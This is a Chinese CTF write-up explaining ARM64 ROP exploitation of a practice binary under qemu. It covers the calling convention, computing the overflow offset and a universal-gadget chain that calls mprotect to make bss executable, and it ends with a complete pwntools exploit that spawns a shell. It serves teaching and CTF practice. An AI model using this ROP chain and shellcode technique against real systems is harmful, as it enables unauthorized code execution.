記一次ARM架構的ROP利用

語言: CN / TW / HK

先說一下需要搭建的環境:

1.安裝qemu:sudo apt-get install qemu-user

2.安裝gdb-multiarch:sudo apt-get install gdb-multiarch

3.安裝依賴庫:sudo apt install gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu

然後就可以通過qemu起一個虛擬機器模擬arm架構的環境了

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./arm

-g引數表示等待gdb除錯連線埠,-L表示載入指定的動態連結庫

啟動之後就再起一個終端用gdb-multiarch來進行除錯就可以了,指令如下:

gdb-multiarch arm -q;

然後在gdb-multiarch介面裡輸入target remote:1234,就可以進行除錯了

介面如圖

1.jpg
 

在pwntools裡可以寫成這樣的模板,然後就用上面的命令區連線就可以了

from pwn import *

  import sys

  context.binary = './binary'

  if args[1] == 'r':

      p = remote('remote_addr',port)

  if args[1] == 'l':

      p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./binary"])

  elf = ELF('./binary')

  context.log_level = 'debug'

 pause()

接下來看下題目,IDA7.0 Pro已經可以支援ARM反編譯了,我們就來分析下這個程式,最開始是往bss端上讀0x200個字元,然後又往棧裡讀了0x200個字元,猜測是不是返回到bss端執行shellcode,但是最後發現不是,因為檢視bss段後沒有x許可權。

__int64 sub_400818()

  {

    sub_400760();

    write(1LL, "Name:", 5LL);

    read(0LL, &unk_411068, 512LL);

    sub_4007F0();

    return 0LL;

  }

 

 __int64 sub_4007F0()

  {

    __int64 v1; // [xsp+10h] [xbp+10h]

  return read(0LL, &v1, 512LL);

  }

然後發現函式列表裡有mprotect函式

在這個位置被呼叫了

.text:00000000004007E0                 BL              .mprotect

  .text:00000000004007E4                 NOP

  .text:00000000004007E8                 LDP             X29, X30, [SP],#0x10

  .text:00000000004007EC                 RET

所以確定了思路那就是第一次往bss段讀資料的時候把shellcode輸入進去,然後在棧溢位那裡通過ROP用mprotect給bss開許可權,然後控制返回地址到bss段寫的shellcode上。那接下來就是找gadget。但是滿螢幕的彙編讓我看不懂,於是我去查了下資料。發現ARM架構裡是沒有POP和PUSH指令的,他們的指令是這樣的。

2.png

ARM架構下呼叫函式的約定是,X0,X1,X2,X3暫存器傳遞前四個引數,後面的引數從右到左依次入棧。ARM架構下的PC暫存器就相當於x86的IP暫存器,都指向下一條指令的地址,同時BL指令實現了跳轉到呼叫的函式處執行,跳轉的同時會儲存返回地址到X30暫存器中,在給被呼叫函式開闢棧幀的時候,會將BL指令儲存在X30中的返回地址壓入棧中,在呼叫函式結束後,會將棧裡的返回地址彈回給X30暫存器,RET指令會將X30的內容給到PC暫存器。這就是為什麼在這個函式的開頭會有這個指令

STP             X29, X30, [SP,#-0x10+var_s0]!

在這個指令執行之後,SP暫存器也就是棧頂指標會-0x10。是!和#-0x10在發揮作用。也就是類似這種在[]後有個!,並且[]裡有數字的話,就會將裡面暫存器進行運算後將資料寫回第一個暫存器,這裡SP會用原來的資料-0x10+0後寫回SP。或者類似這種

LDP             X29, X30, [SP+var_s0],#0x40

這種在[]後面還有數字的,在將sp+var_s0偏移處取0x10大小的資料,分成0x8大小的兩份資料按順序放到X29 X30的暫存器中,並且SP指標會+0x40。

既然清楚了各個指令都做了什麼,接下來就是找棧溢位的偏移然後再找gadget。

那麼該如何確定偏移呢

3.png

可以看到這個棧溢位函式裡,首先將X29,X30兩個寄存的值壓入棧中同時將棧幀擡高了0x50。然後將當前棧頂指標的值賦值給X29,這裡要注意一點,ARM架構下試沒有BP棧底指標的,所以在剛呼叫函式時X29儲存的是上一個函式棧幀的狀態,壓入棧中方便呼叫完函式後恢復現場。儲存好上一個棧幀的狀態之後,再把當前棧頂指標賦值給X29暫存器。這裡可以看到read的函式時,三個引數分別是0,SP+10,0x200,也就是相當於在往當前棧頂+0x10處讀資料,所以可以算出輸入位置距離返回地址的偏移

0x50-0x10+0x8=0x48=72.為什麼+0x8是因為x29暫存器也被入棧了。所以還要加八個位元組的大小。

確定偏移之後,就是找gadget了。查閱資料後,發現ARM架構下也有一個萬能gadget,

4.png

從4008cc開始載入了棧內的資料到x19 x20 x21 x22 x24 x24 x29 x30這八個暫存器裡,我們可以通過將返回地址控制到0x4008cc,然後後面的資料我們可以構造好,從而控制x30這個暫存器,ret之後跳回到0x4008ac處執行,會將[X21+X19<<3]記憶體處的內容賦值給X3,X22賦值給X2,X23賦值給X1,X24賦值給X0,然後跳到X3執行,這樣我們就有了能控制三個引數的mprotect,就可以給bss段開執行許可權了。然後就是寫shellcode執行了。

ROP佈置如下:

payload = 'a'*72  #offset

 payload += p64(0x4008cc) #ret addr

 payload += p64(0x0) #x29

 payload += p64(0x4008ac) #x30

 payload += p64(0) #x19

 payload += p64(1) #x20

 payload += p64(0x411068) #x21

 payload += p64(0x7) #x22

 payload += p64(0x1000) #x23

 payload += p64(0x411000) #x24

 payload += p64(0) #after mprotect  x29

 payload += p64(0x411068+0x8) #x30  ret addr

可以注意到我們這裡佈置的是0x411068來控制X3暫存器,因為是將[X21]的內容賦值給X3,所以這裡我們先在bss段上填好有呼叫mprotect函式的指令地址,然後將0x40011068裡儲存的指令地址賦值給X3。後兩行構造成這樣的原因是

5.png

呼叫mprotect後,會將相應棧頂的值彈回給X29 X30兩個暫存器,然後RET。也就是說0x411068+0x8處是返回地址,這時bss段已經被我們開啟了可執行許可權,這樣執行就沒有問題了。

exp: from pwn import *

  import sys

  context.binary = './arm'

  if sys.argv[1] == "r":

      p = remote('node3.buuoj.cn',27938)

  if sys.argv[1] == "l":

      p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./arm"])

  p = remote('127.0.0.1',10002)

  elf = ELF('./arm')

  context.log_level = 'debug'

  shellcode = asm(shellcraft.aarch64.sh())

  mprotect = 0x4007e0

  pause()

  p.recvuntil('Name:')

  pause()

  payload = p64(mprotect) + shellcode

  p.sendline(payload)

  sleep(0.1)

  payload = 'a'*72

  payload += p64(0x4008cc)

  payload += p64(0x0) #x29

  payload += p64(0x4008ac) #x30

  payload += p64(0) #x19

  payload += p64(1) #x20

  payload += p64(0x411068) #x21

  payload += p64(0x7) #x22

  payload += p64(0x1000) #x23

  payload += p64(0x411000) #x24

  payload += p64(0)

  payload += p64(0x411068+0x8)

  pause()

  p.sendline(payload)

  p.interactive()

總結:這只是一道ARM架構下的入門題,所以題目的難度不是很大,但是初學者可以通過這道題了解到ARM架構下函式的呼叫約定,ARM架構下的部分指令集,以及跟X86架構呼叫函式過程的異同,還有ARM架構下ROP的構造,可以說蠻有意義的。

實驗推薦--《ARM彙編教程

該課程是後續《ARM漏洞利用技術》打基礎的,我們在漏洞利用課程中會介紹使用ARM彙編編寫shellcode等內容,所以在此之前一定要把ARM彙編的基礎打紮實。大家可以點選連結瞭解實驗詳情